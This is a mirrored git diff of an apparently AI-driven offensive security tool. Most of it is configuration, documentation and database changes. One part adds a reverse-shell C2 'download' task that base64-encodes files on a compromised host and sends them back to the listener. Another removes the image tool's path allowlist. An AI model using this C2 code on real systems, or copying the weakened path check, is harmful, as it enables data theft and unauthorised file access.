mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-06-07 14:53:59 +02:00
Compare commits
31 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| a1c7e0dc7d | |||
| 23e08b1697 | |||
| 9002505569 | |||
| b1aaaa79c7 | |||
| 4edbeb8f2d | |||
| 5b5a532d4f | |||
| c1bd94684c | |||
| 8b48e5e396 | |||
| c2f8ebc743 | |||
| 15e1a15671 | |||
| 5c3b157159 | |||
| e5f6175277 | |||
| 1dc5d18fb3 | |||
| 00ea3d7a9c | |||
| 8d48ccdfe4 | |||
| c9f1a2001e | |||
| 905dd519ed | |||
| 60ea106301 | |||
| 92c0ae19bb | |||
| 43c6a0648d | |||
| 6b96e77120 | |||
| a397922361 | |||
| 1e6e92b4af | |||
| 444f85b9c4 | |||
| 679a8192ae | |||
| 9a3f5e54b0 | |||
| ce2eb56253 | |||
| da6cb347df | |||
| fb2658b2eb | |||
| e791782c46 | |||
| 9b0efbb90f |
+6
-9
@@ -10,7 +10,7 @@
|
|||||||
# ============================================
|
# ============================================
|
||||||
|
|
||||||
# 前端显示的版本号(可选,不填则显示默认版本)
|
# 前端显示的版本号(可选,不填则显示默认版本)
|
||||||
version: "v1.6.30"
|
version: "v1.6.31"
|
||||||
# 服务器配置
|
# 服务器配置
|
||||||
server:
|
server:
|
||||||
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
|
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
|
||||||
@@ -79,7 +79,6 @@ vision:
|
|||||||
skip_preprocess_below_bytes: 2097152 # 低于 2MB 且长边<=max_dimension 且<=max_payload 时原图直传;0=始终压缩
|
skip_preprocess_below_bytes: 2097152 # 低于 2MB 且长边<=max_dimension 且<=max_payload 时原图直传;0=始终压缩
|
||||||
detail: auto # low | high | auto(Eino ImageURLDetail)
|
detail: auto # low | high | auto(Eino ImageURLDetail)
|
||||||
timeout_seconds: 60
|
timeout_seconds: 60
|
||||||
# allowed_roots: [] # 额外允许的绝对路径根目录
|
|
||||||
# ============================================
|
# ============================================
|
||||||
# 信息收集(FOFA)配置(可选)
|
# 信息收集(FOFA)配置(可选)
|
||||||
# ============================================
|
# ============================================
|
||||||
@@ -92,7 +91,7 @@ fofa:
|
|||||||
# Agent 配置
|
# Agent 配置
|
||||||
# 达到最大迭代次数时,AI 会自动总结测试结果
|
# 达到最大迭代次数时,AI 会自动总结测试结果
|
||||||
agent:
|
agent:
|
||||||
max_iterations: 12000 # 最大迭代次数,AI 代理最多执行多少轮工具调用
|
max_iterations: 12000 # 全局最大迭代次数(单代理 / Deep / Supervisor / Plan-Execute 主执行器 / 子代理均沿用;agents/*.md 中 max_iterations>0 可单独覆盖)
|
||||||
large_result_threshold: 102400 # 大结果阈值(字节),默认50KB,超过此大小会自动保存到存储
|
large_result_threshold: 102400 # 大结果阈值(字节),默认50KB,超过此大小会自动保存到存储
|
||||||
result_storage_dir: tmp # 结果存储目录,大结果会保存在此目录下
|
result_storage_dir: tmp # 结果存储目录,大结果会保存在此目录下
|
||||||
tool_timeout_minutes: 60 # 单次工具执行最大时长(分钟),超时自动终止;0 表示不限制(不推荐,易出现长时间挂起)
|
tool_timeout_minutes: 60 # 单次工具执行最大时长(分钟),超时自动终止;0 表示不限制(不推荐,易出现长时间挂起)
|
||||||
@@ -110,10 +109,8 @@ multi_agent:
|
|||||||
enabled: true
|
enabled: true
|
||||||
robot_default_agent_mode: eino_single # 企微/钉钉/飞书机器人默认:eino_single | deep | plan_execute | supervisor
|
robot_default_agent_mode: eino_single # 企微/钉钉/飞书机器人默认:eino_single | deep | plan_execute | supervisor
|
||||||
batch_use_multi_agent: false # true 时「批量任务」队列中每个子任务也走 Eino 多代理(成本更高)
|
batch_use_multi_agent: false # true 时「批量任务」队列中每个子任务也走 Eino 多代理(成本更高)
|
||||||
max_iteration: 0 # 主代理 / plan_execute 执行器最大轮次,0 表示沿用 agent.max_iterations
|
# plan_execute 专用:execute↔replan 外层循环上限,0 表示 Eino 默认 10。主/子代理 ReAct 轮次见 agent.max_iterations。
|
||||||
# plan_execute 专用:execute↔replan 外层循环上限,0 表示 Eino 默认 10。当前实现下 Executor 会挂载 patch/reduction/tool_search 等前置中间件。
|
|
||||||
plan_execute_loop_max_iterations: 0
|
plan_execute_loop_max_iterations: 0
|
||||||
sub_agent_max_iterations: 120
|
|
||||||
sub_agent_user_context_max_runes: 0 # 子代理 task 描述中自动注入用户原始请求的字符上限;0=默认2000,负数=禁用
|
sub_agent_user_context_max_runes: 0 # 子代理 task 描述中自动注入用户原始请求的字符上限;0=默认2000,负数=禁用
|
||||||
without_general_sub_agent: false # false 时保留 Deep 内置 general-purpose 子代理
|
without_general_sub_agent: false # false 时保留 Deep 内置 general-purpose 子代理
|
||||||
without_write_todos: false
|
without_write_todos: false
|
||||||
@@ -295,7 +292,7 @@ skills_dir: skills # Skills配置文件目录(相对于配置文件所在目
|
|||||||
# ============================================
|
# ============================================
|
||||||
# 多代理子 Agent(Markdown,唯一维护处)
|
# 多代理子 Agent(Markdown,唯一维护处)
|
||||||
# ============================================
|
# ============================================
|
||||||
# 每个 .md:YAML front matter(name / id / description / tools / bind_role / max_iterations / 可选 kind: orchestrator)+ 正文为系统提示词
|
# 每个 .md:YAML front matter(name / id / description / tools / bind_role / 可选 max_iterations>0 覆盖全局 / 可选 kind: orchestrator)+ 正文为系统提示词
|
||||||
# 主代理:固定文件名 orchestrator.md,或任意文件名 + front matter kind: orchestrator(全目录仅允许一个);主代理不参与 task 子代理列表
|
# 主代理:固定文件名 orchestrator.md,或任意文件名 + front matter kind: orchestrator(全目录仅允许一个);主代理不参与 task 子代理列表
|
||||||
# 高级用法:仍可在 multi_agent 块内写 sub_agents,会与本文目录合并且同 id 时 YAML 可被 .md 覆盖
|
# 高级用法:仍可在 multi_agent 块内写 sub_agents,会与本文目录合并且同 id 时 YAML 可被 .md 覆盖
|
||||||
agents_dir: agents
|
agents_dir: agents
|
||||||
@@ -313,7 +310,7 @@ roles_dir: roles # 角色配置文件目录(相对于配置文件所在目录
|
|||||||
project:
|
project:
|
||||||
enabled: true
|
enabled: true
|
||||||
# default_project_id: "" # 可选:机器人/批量任务创建对话时的默认项目 ID
|
# default_project_id: "" # 可选:机器人/批量任务创建对话时的默认项目 ID
|
||||||
fact_index_max_runes: 3500
|
fact_index_max_runes: 6500
|
||||||
fact_summary_max_runes: 240
|
fact_summary_max_runes: 2400
|
||||||
default_inject_deprecated: false
|
default_inject_deprecated: false
|
||||||
|
|
||||||
|
|||||||
@@ -12,7 +12,7 @@
|
|||||||
| 项 | 说明 |
|
| 项 | 说明 |
|
||||||
|----|------|
|
|----|------|
|
||||||
| 依赖与代理 | `go.mod` 直接依赖 `github.com/cloudwego/eino`、`eino-ext/.../openai`;`go.mod` 注释与 `scripts/bootstrap-go.sh` 指导 **GOPROXY**(如 `https://goproxy.cn,direct`)。 |
|
| 依赖与代理 | `go.mod` 直接依赖 `github.com/cloudwego/eino`、`eino-ext/.../openai`;`go.mod` 注释与 `scripts/bootstrap-go.sh` 指导 **GOPROXY**(如 `https://goproxy.cn,direct`)。 |
|
||||||
| 配置 | `config.yaml` → `multi_agent`:`enabled`、`robot_use_multi_agent`、`max_iteration`、`sub_agents`(含可选 `bind_role`)、`eino_skills`、`eino_middleware` 等;结构体见 `internal/config/config.go`。 |
|
| 配置 | `config.yaml` → `agent.max_iterations` 为全局 ReAct 上限(主/子代理统一);`multi_agent`:`enabled`、`robot_use_multi_agent`、`sub_agents`(含可选 `bind_role`)、`eino_skills`、`eino_middleware` 等;结构体见 `internal/config/config.go`。 |
|
||||||
| Markdown 子代理 / 主代理 | 在 `agents_dir` 下放 `*.md`。**子代理**:供 Deep `task` 与 `supervisor` `transfer`。**主代理(按模式分离)**:`orchestrator.md`(或 `kind: orchestrator` 的**单个**其他 .md)→ **Deep**;固定名 `orchestrator-plan-execute.md` → **plan_execute**;固定名 `orchestrator-supervisor.md` → **supervisor**。正文优先于 YAML:`multi_agent.orchestrator_instruction`、`orchestrator_instruction_plan_execute`、`orchestrator_instruction_supervisor`;plan_execute / supervisor **不会**回退到 Deep 的 `orchestrator_instruction`。皆空时 plan_execute / supervisor 使用代码内置默认提示。管理:**Agents → Agent管理**;API:`/api/multi-agent/markdown-agents*`。 |
|
| Markdown 子代理 / 主代理 | 在 `agents_dir` 下放 `*.md`。**子代理**:供 Deep `task` 与 `supervisor` `transfer`。**主代理(按模式分离)**:`orchestrator.md`(或 `kind: orchestrator` 的**单个**其他 .md)→ **Deep**;固定名 `orchestrator-plan-execute.md` → **plan_execute**;固定名 `orchestrator-supervisor.md` → **supervisor**。正文优先于 YAML:`multi_agent.orchestrator_instruction`、`orchestrator_instruction_plan_execute`、`orchestrator_instruction_supervisor`;plan_execute / supervisor **不会**回退到 Deep 的 `orchestrator_instruction`。皆空时 plan_execute / supervisor 使用代码内置默认提示。管理:**Agents → Agent管理**;API:`/api/multi-agent/markdown-agents*`。 |
|
||||||
| MCP 桥 | `internal/einomcp`:`ToolsFromDefinitions` + 会话 ID 持有者,执行走 `Agent.ExecuteMCPToolForConversation`。 |
|
| MCP 桥 | `internal/einomcp`:`ToolsFromDefinitions` + 会话 ID 持有者,执行走 `Agent.ExecuteMCPToolForConversation`。 |
|
||||||
| 编排 | `internal/multiagent/runner.go`:`deep.New` + 子 `ChatModelAgent` + `adk.NewRunner`(`EnableStreaming: true`,可选 `CheckPointStore`),事件映射为现有 SSE `tool_call` / `response_delta` 等。 |
|
| 编排 | `internal/multiagent/runner.go`:`deep.New` + 子 `ChatModelAgent` + `adk.NewRunner`(`EnableStreaming: true`,可选 `CheckPointStore`),事件映射为现有 SSE `tool_call` / `response_delta` 等。 |
|
||||||
|
|||||||
+2
-8
@@ -22,7 +22,6 @@ vision:
|
|||||||
skip_preprocess_below_bytes: 2097152 # 低于 2MB 且长边<=max_dimension 时原图直传;0=始终 JPEG 压缩
|
skip_preprocess_below_bytes: 2097152 # 低于 2MB 且长边<=max_dimension 时原图直传;0=始终 JPEG 压缩
|
||||||
detail: low # low | high | auto
|
detail: low # low | high | auto
|
||||||
timeout_seconds: 60
|
timeout_seconds: 60
|
||||||
# allowed_roots: [] # 额外绝对路径根
|
|
||||||
```
|
```
|
||||||
|
|
||||||
`enabled: false` 时不注册工具。
|
`enabled: false` 时不注册工具。
|
||||||
@@ -31,14 +30,9 @@ vision:
|
|||||||
|
|
||||||
**系统设置 → 基本设置 → 视觉分析(analyze_image)** 可配置启用开关、视觉模型、API Key/Base URL(留空复用 OpenAI)、预处理参数;**保存并应用** 后写入 `config.yaml` 并重新注册 MCP 工具。
|
**系统设置 → 基本设置 → 视觉分析(analyze_image)** 可配置启用开关、视觉模型、API Key/Base URL(留空复用 OpenAI)、预处理参数;**保存并应用** 后写入 `config.yaml` 并重新注册 MCP 工具。
|
||||||
|
|
||||||
## 路径白名单
|
## 路径
|
||||||
|
|
||||||
默认可读:
|
`analyze_image` 可读取服务器上任意可读的图片文件路径(绝对路径或相对于进程工作目录的相对路径)。仍校验图片扩展名与常规文件类型。
|
||||||
|
|
||||||
- 进程工作目录(`cwd`)及其子路径
|
|
||||||
- `chat_uploads/`
|
|
||||||
- `agent.result_storage_dir`(默认 `tmp/`)
|
|
||||||
- `vision.allowed_roots` 中配置的绝对路径
|
|
||||||
|
|
||||||
## Agent 使用
|
## Agent 使用
|
||||||
|
|
||||||
|
|||||||
@@ -17,6 +17,7 @@ require (
|
|||||||
github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b
|
github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b
|
||||||
github.com/cloudwego/eino-ext/components/model/openai v0.1.13
|
github.com/cloudwego/eino-ext/components/model/openai v0.1.13
|
||||||
github.com/creack/pty v1.1.24
|
github.com/creack/pty v1.1.24
|
||||||
|
github.com/disintegration/imaging v1.6.2
|
||||||
github.com/eino-contrib/jsonschema v1.0.3
|
github.com/eino-contrib/jsonschema v1.0.3
|
||||||
github.com/gin-gonic/gin v1.9.1
|
github.com/gin-gonic/gin v1.9.1
|
||||||
github.com/google/uuid v1.6.0
|
github.com/google/uuid v1.6.0
|
||||||
@@ -49,7 +50,6 @@ require (
|
|||||||
github.com/cenkalti/backoff/v4 v4.3.0 // indirect
|
github.com/cenkalti/backoff/v4 v4.3.0 // indirect
|
||||||
github.com/cloudwego/base64x v0.1.6 // indirect
|
github.com/cloudwego/base64x v0.1.6 // indirect
|
||||||
github.com/cloudwego/eino-ext/libs/acl/openai v0.1.17 // indirect
|
github.com/cloudwego/eino-ext/libs/acl/openai v0.1.17 // indirect
|
||||||
github.com/disintegration/imaging v1.6.2 // indirect
|
|
||||||
github.com/dlclark/regexp2 v1.10.0 // indirect
|
github.com/dlclark/regexp2 v1.10.0 // indirect
|
||||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
github.com/dustin/go-humanize v1.0.1 // indirect
|
||||||
github.com/evanphx/json-patch v0.5.2 // indirect
|
github.com/evanphx/json-patch v0.5.2 // indirect
|
||||||
|
|||||||
Binary file not shown.
|
Before Width: | Height: | Size: 178 KiB After Width: | Height: | Size: 262 KiB |
@@ -880,6 +880,7 @@ func setupRoutes(
|
|||||||
protected.DELETE("/monitor/execution/:id", monitorHandler.DeleteExecution)
|
protected.DELETE("/monitor/execution/:id", monitorHandler.DeleteExecution)
|
||||||
protected.DELETE("/monitor/executions", monitorHandler.DeleteExecutions)
|
protected.DELETE("/monitor/executions", monitorHandler.DeleteExecutions)
|
||||||
protected.GET("/monitor/stats", monitorHandler.GetStats)
|
protected.GET("/monitor/stats", monitorHandler.GetStats)
|
||||||
|
protected.GET("/monitor/calls-timeline", monitorHandler.GetCallsTimeline)
|
||||||
protected.GET("/notifications/summary", notificationHandler.GetSummary)
|
protected.GET("/notifications/summary", notificationHandler.GetSummary)
|
||||||
protected.POST("/notifications/read", notificationHandler.MarkRead)
|
protected.POST("/notifications/read", notificationHandler.MarkRead)
|
||||||
|
|
||||||
@@ -1065,6 +1066,7 @@ func setupRoutes(
|
|||||||
// 漏洞管理
|
// 漏洞管理
|
||||||
protected.GET("/vulnerabilities", vulnerabilityHandler.ListVulnerabilities)
|
protected.GET("/vulnerabilities", vulnerabilityHandler.ListVulnerabilities)
|
||||||
protected.GET("/vulnerabilities/export", vulnerabilityHandler.ExportVulnerabilities)
|
protected.GET("/vulnerabilities/export", vulnerabilityHandler.ExportVulnerabilities)
|
||||||
|
protected.DELETE("/vulnerabilities/batch", vulnerabilityHandler.BatchDeleteVulnerabilities)
|
||||||
protected.GET("/vulnerabilities/filter-options", vulnerabilityHandler.GetVulnerabilityFilterOptions)
|
protected.GET("/vulnerabilities/filter-options", vulnerabilityHandler.GetVulnerabilityFilterOptions)
|
||||||
protected.GET("/vulnerabilities/stats", vulnerabilityHandler.GetVulnerabilityStats)
|
protected.GET("/vulnerabilities/stats", vulnerabilityHandler.GetVulnerabilityStats)
|
||||||
protected.GET("/vulnerabilities/:id", vulnerabilityHandler.GetVulnerability)
|
protected.GET("/vulnerabilities/:id", vulnerabilityHandler.GetVulnerability)
|
||||||
|
|||||||
@@ -298,6 +298,12 @@ func (l *TCPReverseListener) runTaskOnConn(c *tcpReverseConn, env TaskEnvelope)
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
cleaned := cleanShellOutput(output, cmd)
|
cleaned := cleanShellOutput(output, cmd)
|
||||||
|
if TaskType(env.TaskType) == TaskTypeDownload {
|
||||||
|
if errMsg := detectDownloadShellError(cleaned); errMsg != "" {
|
||||||
|
l.reportTaskResult(env.TaskID, startedAt, false, cleaned, errMsg, "", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "")
|
l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "")
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -316,8 +322,8 @@ func (l *TCPReverseListener) reportTaskResult(taskID string, startedAtMS int64,
|
|||||||
}
|
}
|
||||||
|
|
||||||
// buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。
|
// buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。
|
||||||
// 仅支持 TCP 反弹模式可直接执行的最简任务类型;upload/download/screenshot 这些
|
// 仅支持 TCP 反弹模式可直接执行的最简任务类型;download 通过 base64 输出文本结果,
|
||||||
// 需要二进制传输的能力建议使用 http_beacon。
|
// upload/screenshot 等需要二进制传输的能力建议使用 http_beacon。
|
||||||
func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) {
|
func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) {
|
||||||
switch t {
|
switch t {
|
||||||
case TaskTypeExec, TaskTypeShell:
|
case TaskTypeExec, TaskTypeShell:
|
||||||
@@ -345,6 +351,16 @@ func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool)
|
|||||||
return "", false
|
return "", false
|
||||||
}
|
}
|
||||||
return "cd " + shellQuote(path) + " && pwd", true
|
return "cd " + shellQuote(path) + " && pwd", true
|
||||||
|
case TaskTypeDownload:
|
||||||
|
path, _ := payload["remote_path"].(string)
|
||||||
|
if strings.TrimSpace(path) == "" {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
q := shellQuote(path)
|
||||||
|
return fmt.Sprintf(
|
||||||
|
`f=%s; if [ ! -e "$f" ]; then echo 'C2_DOWNLOAD_ERR: no such file or directory' >&2; exit 1; elif [ -d "$f" ]; then echo 'C2_DOWNLOAD_ERR: is a directory' >&2; exit 1; elif [ ! -r "$f" ]; then echo 'C2_DOWNLOAD_ERR: permission denied' >&2; exit 1; else base64 "$f" 2>/dev/null || base64 < "$f"; fi`,
|
||||||
|
q,
|
||||||
|
), true
|
||||||
case TaskTypeExit:
|
case TaskTypeExit:
|
||||||
return "exit 0", true
|
return "exit 0", true
|
||||||
}
|
}
|
||||||
@@ -382,6 +398,29 @@ func shellQuote(s string) string {
|
|||||||
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
|
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// detectDownloadShellError 识别 download 任务中 shell/base64 返回的错误信息。
|
||||||
|
func detectDownloadShellError(output string) string {
|
||||||
|
trimmed := strings.TrimSpace(output)
|
||||||
|
if trimmed == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
lower := strings.ToLower(trimmed)
|
||||||
|
markers := []string{
|
||||||
|
"c2_download_err:",
|
||||||
|
"no such file",
|
||||||
|
"permission denied",
|
||||||
|
"is a directory",
|
||||||
|
"cannot open",
|
||||||
|
"not a regular file",
|
||||||
|
}
|
||||||
|
for _, m := range markers {
|
||||||
|
if strings.Contains(lower, m) {
|
||||||
|
return trimmed
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
func isAddrInUse(err error) bool {
|
func isAddrInUse(err error) bool {
|
||||||
if err == nil {
|
if err == nil {
|
||||||
return false
|
return false
|
||||||
|
|||||||
@@ -0,0 +1,43 @@
|
|||||||
|
package c2
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestDetectDownloadShellError(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
output string
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{name: "empty ok", output: "", want: ""},
|
||||||
|
{name: "base64 ok", output: "aGVsbG8=", want: ""},
|
||||||
|
{name: "marker", output: "C2_DOWNLOAD_ERR: no such file or directory", want: "C2_DOWNLOAD_ERR: no such file or directory"},
|
||||||
|
{name: "bash missing file", output: "bash: ../0: No such file or directory", want: "bash: ../0: No such file or directory"},
|
||||||
|
{name: "permission denied", output: "C2_DOWNLOAD_ERR: permission denied", want: "C2_DOWNLOAD_ERR: permission denied"},
|
||||||
|
}
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
got := detectDownloadShellError(tt.output)
|
||||||
|
if got != tt.want {
|
||||||
|
t.Fatalf("detectDownloadShellError(%q) = %q, want %q", tt.output, got, tt.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildTCPCommandDownload(t *testing.T) {
|
||||||
|
cmd, ok := buildTCPCommand(TaskTypeDownload, map[string]interface{}{
|
||||||
|
"remote_path": "/tmp/demo.txt",
|
||||||
|
})
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("expected download command to be supported")
|
||||||
|
}
|
||||||
|
if want := "f='/tmp/demo.txt'"; !strings.Contains(cmd, want) {
|
||||||
|
t.Fatalf("command %q should contain %q", cmd, want)
|
||||||
|
}
|
||||||
|
if !strings.Contains(cmd, "C2_DOWNLOAD_ERR") {
|
||||||
|
t.Fatalf("command should validate file before base64: %q", cmd)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -72,10 +72,12 @@ type MultiAgentConfig struct {
|
|||||||
BatchUseMultiAgent bool `yaml:"batch_use_multi_agent" json:"batch_use_multi_agent"` // 为 true 时批量任务队列中每子任务走 Eino 多代理
|
BatchUseMultiAgent bool `yaml:"batch_use_multi_agent" json:"batch_use_multi_agent"` // 为 true 时批量任务队列中每子任务走 Eino 多代理
|
||||||
// Orchestration 已弃用:保留仅兼容旧版 config.yaml;编排由聊天/WebShell 请求体 orchestration 决定,未传时按 deep。
|
// Orchestration 已弃用:保留仅兼容旧版 config.yaml;编排由聊天/WebShell 请求体 orchestration 决定,未传时按 deep。
|
||||||
Orchestration string `yaml:"orchestration,omitempty" json:"orchestration,omitempty"`
|
Orchestration string `yaml:"orchestration,omitempty" json:"orchestration,omitempty"`
|
||||||
MaxIteration int `yaml:"max_iteration" json:"max_iteration"` // 主代理 / 执行器最大推理轮次(Deep、Supervisor、plan_execute 的 Executor)
|
// MaxIteration 已废弃:统一使用 agent.max_iterations(YAML 中保留字段仅为兼容旧配置,运行时不读取)。
|
||||||
|
MaxIteration int `yaml:"max_iteration,omitempty" json:"max_iteration,omitempty"`
|
||||||
// PlanExecuteLoopMaxIterations plan_execute 模式下 execute↔replan 外层循环上限;0 表示用 Eino 默认 10。
|
// PlanExecuteLoopMaxIterations plan_execute 模式下 execute↔replan 外层循环上限;0 表示用 Eino 默认 10。
|
||||||
PlanExecuteLoopMaxIterations int `yaml:"plan_execute_loop_max_iterations,omitempty" json:"plan_execute_loop_max_iterations,omitempty"`
|
PlanExecuteLoopMaxIterations int `yaml:"plan_execute_loop_max_iterations,omitempty" json:"plan_execute_loop_max_iterations,omitempty"`
|
||||||
SubAgentMaxIterations int `yaml:"sub_agent_max_iterations" json:"sub_agent_max_iterations"`
|
// SubAgentMaxIterations 已废弃:子代理与主代理均使用 agent.max_iterations(Markdown max_iterations>0 可覆盖)。
|
||||||
|
SubAgentMaxIterations int `yaml:"sub_agent_max_iterations,omitempty" json:"sub_agent_max_iterations,omitempty"`
|
||||||
WithoutGeneralSubAgent bool `yaml:"without_general_sub_agent" json:"without_general_sub_agent"`
|
WithoutGeneralSubAgent bool `yaml:"without_general_sub_agent" json:"without_general_sub_agent"`
|
||||||
WithoutWriteTodos bool `yaml:"without_write_todos" json:"without_write_todos"`
|
WithoutWriteTodos bool `yaml:"without_write_todos" json:"without_write_todos"`
|
||||||
OrchestratorInstruction string `yaml:"orchestrator_instruction" json:"orchestrator_instruction"`
|
OrchestratorInstruction string `yaml:"orchestrator_instruction" json:"orchestrator_instruction"`
|
||||||
|
|||||||
@@ -15,8 +15,7 @@ type VisionConfig struct {
|
|||||||
JPEGQuality int `yaml:"jpeg_quality,omitempty" json:"jpeg_quality,omitempty"`
|
JPEGQuality int `yaml:"jpeg_quality,omitempty" json:"jpeg_quality,omitempty"`
|
||||||
MaxPayloadBytes int64 `yaml:"max_payload_bytes,omitempty" json:"max_payload_bytes,omitempty"`
|
MaxPayloadBytes int64 `yaml:"max_payload_bytes,omitempty" json:"max_payload_bytes,omitempty"`
|
||||||
SkipPreprocessBelowBytes int64 `yaml:"skip_preprocess_below_bytes,omitempty" json:"skip_preprocess_below_bytes,omitempty"` // 0=始终压缩;默认 2MB 且长边已<=max_dimension 时原图直传
|
SkipPreprocessBelowBytes int64 `yaml:"skip_preprocess_below_bytes,omitempty" json:"skip_preprocess_below_bytes,omitempty"` // 0=始终压缩;默认 2MB 且长边已<=max_dimension 时原图直传
|
||||||
Detail string `yaml:"detail,omitempty" json:"detail,omitempty"` // low | high | auto
|
Detail string `yaml:"detail,omitempty" json:"detail,omitempty"` // low | high | auto
|
||||||
AllowedRoots []string `yaml:"allowed_roots,omitempty" json:"allowed_roots,omitempty"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func (v VisionConfig) TimeoutSecondsEffective() int {
|
func (v VisionConfig) TimeoutSecondsEffective() int {
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package database
|
|||||||
import (
|
import (
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
|
"sort"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -493,6 +494,68 @@ func (db *DB) UpdateToolStats(toolName string, totalCalls, successCalls, failedC
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// CallsTimelineBucket 调用趋势时间桶
|
||||||
|
type CallsTimelineBucket struct {
|
||||||
|
BucketTime time.Time
|
||||||
|
Total int
|
||||||
|
Failed int
|
||||||
|
}
|
||||||
|
|
||||||
|
// truncateCallsTimelineBucket 将时间截断到趋势图桶边界(本地时区,与 handler 侧 truncateToBucket 一致)
|
||||||
|
func truncateCallsTimelineBucket(t time.Time, dailyBuckets bool) time.Time {
|
||||||
|
t = t.In(time.Local)
|
||||||
|
if dailyBuckets {
|
||||||
|
y, m, d := t.Date()
|
||||||
|
return time.Date(y, m, d, 0, 0, 0, 0, time.Local)
|
||||||
|
}
|
||||||
|
return t.Truncate(time.Hour)
|
||||||
|
}
|
||||||
|
|
||||||
|
// LoadCallsTimeline 按时间范围加载调用趋势(since 起至今,含边界)
|
||||||
|
func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTimelineBucket, error) {
|
||||||
|
// 在 Go 侧按本地时区分桶,避免 SQLite strftime 对 UTC 存储时间分桶后再误当本地时间解析(差 8h 等问题)
|
||||||
|
query := `
|
||||||
|
SELECT start_time,
|
||||||
|
CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END AS failed
|
||||||
|
FROM tool_executions
|
||||||
|
WHERE start_time >= ?
|
||||||
|
`
|
||||||
|
|
||||||
|
rows, err := db.Query(query, since)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
bucketMap := make(map[time.Time]struct{ total, failed int })
|
||||||
|
for rows.Next() {
|
||||||
|
var startTime time.Time
|
||||||
|
var failed int
|
||||||
|
if err := rows.Scan(&startTime, &failed); err != nil {
|
||||||
|
db.logger.Warn("加载调用趋势失败", zap.Error(err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
key := truncateCallsTimelineBucket(startTime, dailyBuckets)
|
||||||
|
entry := bucketMap[key]
|
||||||
|
entry.total++
|
||||||
|
entry.failed += failed
|
||||||
|
bucketMap[key] = entry
|
||||||
|
}
|
||||||
|
|
||||||
|
buckets := make([]CallsTimelineBucket, 0, len(bucketMap))
|
||||||
|
for bucketTime, counts := range bucketMap {
|
||||||
|
buckets = append(buckets, CallsTimelineBucket{
|
||||||
|
BucketTime: bucketTime,
|
||||||
|
Total: counts.total,
|
||||||
|
Failed: counts.failed,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
sort.Slice(buckets, func(i, j int) bool {
|
||||||
|
return buckets[i].BucketTime.Before(buckets[j].BucketTime)
|
||||||
|
})
|
||||||
|
return buckets, nil
|
||||||
|
}
|
||||||
|
|
||||||
// DecreaseToolStats 减少工具统计信息(用于删除执行记录时)
|
// DecreaseToolStats 减少工具统计信息(用于删除执行记录时)
|
||||||
// 如果统计信息变为0,则删除该统计记录
|
// 如果统计信息变为0,则删除该统计记录
|
||||||
func (db *DB) DecreaseToolStats(toolName string, totalCalls, successCalls, failedCalls int) error {
|
func (db *DB) DecreaseToolStats(toolName string, totalCalls, successCalls, failedCalls int) error {
|
||||||
|
|||||||
@@ -263,6 +263,39 @@ func (db *DB) UpdateVulnerability(id string, vuln *Vulnerability) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// DeleteVulnerabilitiesByFilter 按筛选条件批量删除漏洞,返回实际删除条数
|
||||||
|
func (db *DB) DeleteVulnerabilitiesByFilter(filter VulnerabilityListFilter) (int64, error) {
|
||||||
|
tx, err := db.Begin()
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("开启事务失败: %w", err)
|
||||||
|
}
|
||||||
|
defer func() { _ = tx.Rollback() }()
|
||||||
|
|
||||||
|
where := "WHERE 1=1"
|
||||||
|
args := []interface{}{}
|
||||||
|
where, args = filter.appendWhere(where, args)
|
||||||
|
|
||||||
|
clearQuery := `UPDATE project_facts SET related_vulnerability_id = NULL
|
||||||
|
WHERE related_vulnerability_id IN (SELECT id FROM vulnerabilities ` + where + `)`
|
||||||
|
if _, err := tx.Exec(clearQuery, args...); err != nil {
|
||||||
|
return 0, fmt.Errorf("清理事实漏洞关联失败: %w", err)
